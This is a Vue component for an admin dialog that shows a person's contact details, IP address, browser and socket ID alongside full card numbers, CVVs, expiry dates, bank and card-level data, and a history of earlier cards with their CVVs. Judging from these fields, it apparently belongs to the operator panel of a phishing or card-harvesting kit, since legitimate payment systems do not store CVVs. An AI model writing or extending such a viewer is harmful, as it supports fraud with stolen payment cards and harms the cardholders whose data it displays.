<template>
  <el-dialog
    v-loading="loading"
    :title="title"
    :visible.sync="dialogVisible"
    width="1200px"
    :close-on-click-modal="false"
    @close="handleClose"
  >
    <div v-if="userInfo" class="user-detail">
      <div class="detail-container">
        <!-- 左侧用户信息 -->
        <div class="user-info">
          <div class="info-row">
            <span class="label">用户ID</span>
            <span class="value">{{ userInfo.user_id || userInfo.userid || '-' }}</span>
          </div>
          <div v-if="userInfo.socket_id" class="info-row">
            <span class="label">Socket ID</span>
            <span class="value">{{ userInfo.socket_id }}</span>
          </div>
          <div class="info-row">
            <span class="label">邮箱</span>
            <span class="value">{{ userInfo.email || '-' }}</span>
          </div>
          <div class="info-row">
            <span class="label">地址</span>
            <span class="value">{{ userInfo.address || '-' }}</span>
          </div>
          <div class="info-row">
            <span class="label">城市</span>
            <span class="value">{{ userInfo.city || '-' }}</span>
          </div>
          <div class="info-row">
            <span class="label">州</span>
            <span class="value">{{ userInfo.province || userInfo.state || '-' }}</span>
          </div>
          <div class="info-row">
            <span class="label">国家</span>
            <span class="value">{{ userInfo.country || '-' }}</span>
          </div>
          <div class="info-row">
            <span class="label">邮编</span>
            <span class="value">{{ userInfo.zip || userInfo.zipcode || '-' }}</span>
          </div>
          <div class="info-row">
            <span class="label">IP</span>
            <span class="value">{{ userInfo.from_ip || userInfo.ip || '-' }}</span>
          </div>
          <div class="info-row">
            <span class="label">浏览器信息</span>
            <span class="value">{{ userInfo.user_agent || '-' }}</span>
          </div>
          <div class="info-row">
            <span class="label">创建时间</span>
            <span class="value">{{ userInfo.create_at || userInfo.create_time || '-' }}</span>
          </div>
          <div class="info-row">
            <span class="label">更新时间</span>
            <span class="value">{{ userInfo.update_at || userInfo.update_time || '-' }}</span>
          </div>
        </div>

        <!-- 右侧卡片信息 -->
        <div class="card-info">
          <div class="card-fields">
            <div class="field-row">
              <span class="label">卡类型</span>
              <span class="value">{{ userInfo.card_type || '-' }}</span>
            </div>
            <div class="field-row">
              <span class="label">卡等级</span>
              <span class="value">{{ userInfo.card_level || '-' }}</span>
            </div>
            <div class="field-row">
              <span class="label">卡银行</span>
              <span class="value">{{ userInfo.bank_name || userInfo.card_bank || '-' }}</span>
            </div>
            <div class="field-row">
              <span class="label">卡国家</span>
              <span class="value">{{ userInfo.card_country || '-' }}</span>
            </div>
            <div class="field-row">
              <span class="label">电话</span>
              <span class="value">{{ userInfo.phone || '-' }}</span>
            </div>
            <div class="field-row">
              <span class="label">姓名</span>
              <span class="value">{{ getFullName(userInfo) || '-' }}</span>
            </div>
          </div>

          <!-- 银行卡样式展示 -->
          <div class="credit-card">
            <div class="card-chip">
              <svg width="40" height="30" viewBox="0 0 40 30">
                <rect x="0" y="0" width="40" height="30" rx="3" fill="#FFD700" />
                <rect x="5" y="5" width="10" height="8" rx="1" fill="#E6BE8A" />
                <rect x="18" y="5" width="10" height="8" rx="1" fill="#E6BE8A" />
                <rect x="5" y="17" width="10" height="8" rx="1" fill="#E6BE8A" />
                <rect x="18" y="17" width="10" height="8" rx="1" fill="#E6BE8A" />
              </svg>
            </div>
            <div class="card-holder">
              <div class="card-value">{{ getCardHolder(userInfo) }}</div>
            </div>

            <div class="card-number">{{ userInfo.card_number || userInfo.card_no || 'N/A' }}</div>
            <div class="card-details">
              <div class="card-cvv">
                <div class="card-value">{{ userInfo.cvv || 'N/A' }}</div>
              </div>
              <div class="card-expires">
                <div class="card-value">{{ userInfo.expires || userInfo.expiry || userInfo.expiration || 'N/A' }}</div>
              </div>
            </div>
          </div>

          <!-- 历史卡片信息 -->
          <div v-if="userInfo.history_card_list && userInfo.history_card_list.length > 0" class="history-cards">
            <h4>历史卡片信息</h4>
            <div v-for="(card, index) in userInfo.history_card_list" :key="index" class="history-card">
              <div>卡号：{{ card.card_number || '-' }}</div>
              <div>CVV：{{ card.cvv || '-' }}</div>
              <div>有效期：{{ card.expiration || '-' }}</div>
            </div>
          </div>
        </div>
      </div>
    </div>

    <div v-if="showFooter" slot="footer" class="dialog-footer">
      <el-button @click="handleClose">关闭</el-button>
      <slot name="footer-buttons" />
    </div>
  </el-dialog>
</template>

<script>
export default {
  name: 'UserInfoDialog',
  props: {
    // 控制弹窗显示/隐藏
    visible: {
      type: Boolean,
      default: false
    },
    // 用户信息数据
    userInfo: {
      type: Object,
      default: () => null
    },
    // 弹窗标题
    title: {
      type: String,
      default: '用户信息'
    },
    // 是否显示加载状态
    loading: {
      type: Boolean,
      default: false
    },
    // 是否显示底部按钮区域
    showFooter: {
      type: Boolean,
      default: true
    }
  },
  computed: {
    dialogVisible: {
      get() {
        return this.visible
      },
      set(value) {
        this.$emit('update:visible', value)
      }
    }
  },
  methods: {
    // 获取完整姓名
    getFullName(userInfo) {
      if (!userInfo) return ''
      const firstName = userInfo.first_name || ''
      const lastName = userInfo.last_name || ''
      return (firstName + ' ' + lastName).trim()
    },
    // 获取卡片持有人姓名
    getCardHolder(userInfo) {
      if (!userInfo) return 'N/A'
      return userInfo.card_holder || this.getFullName(userInfo) || 'N/A'
    },
    // 处理弹窗关闭
    handleClose() {
      this.$emit('close')
      this.$emit('update:visible', false)
    }
  }
}
</script>

<style scoped>
/* 用户详情弹窗样式 */
.user-detail {
  padding: 10px;
}

.detail-container {
  display: flex;
  gap: 30px;
}

.user-info {
  flex: 1;
}

.info-row {
  display: flex;
  padding: 10px 0;
  border-bottom: 1px solid #f0f0f0;
}

.info-row .label {
  width: 100px;
  color: #666;
  font-weight: 500;
  flex-shrink: 0;
}

.info-row .value {
  flex: 1;
  color: #333;
  word-break: break-all;
}

.card-info {
  width: 380px;
  display: flex;
  flex-direction: column;
}

.card-fields {
  margin-bottom: 20px;
}

.field-row {
  display: flex;
  padding: 8px 0;
  border-bottom: 1px solid #f0f0f0;
}

.field-row .label {
  width: 80px;
  color: #666;
  font-weight: 500;
  flex-shrink: 0;
}

.field-row .value {
  flex: 1;
  color: #333;
}

/* 银行卡样式 */
.credit-card {
  background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
  background:#764ba2 ;
  border-radius: 15px;
  padding: 25px;
  color: white;
  box-shadow: 0 10px 20px rgba(0, 0, 0, 0.2);
  min-height: 200px;
  position: relative;
  margin-bottom: 20px;
}

.card-chip {
  margin-bottom: 10px;
}

.card-number {
  font-size: 24px;
  font-weight: 600;
  letter-spacing: 2px;
  margin-bottom: 25px;
  text-align: center;
}

.card-details {
  text-align: center;
  position: relative;
}

.card-holder {
  text-align: center;
  margin-bottom: 20px;
}

.card-cvv {
  position: absolute;
  top: 0;
  right: 10px;
}

.card-value {
  font-size: 24px;
  font-weight: 600;
}

/* 历史卡片信息 */
.history-cards {
  margin-top: 20px;
}

.history-cards h4 {
  margin-bottom: 10px;
  color: #333;
  font-size: 14px;
}

.history-card {
  background: #f5f5f5;
  color: #333;
  padding: 10px;
  border-radius: 8px;
  margin-bottom: 10px;
  font-size: 12px;
}

.history-card div {
  margin-bottom: 4px;
}

.history-card div:last-child {
  margin-bottom: 0;
}

.dialog-footer {
  text-align: right;
}
</style>
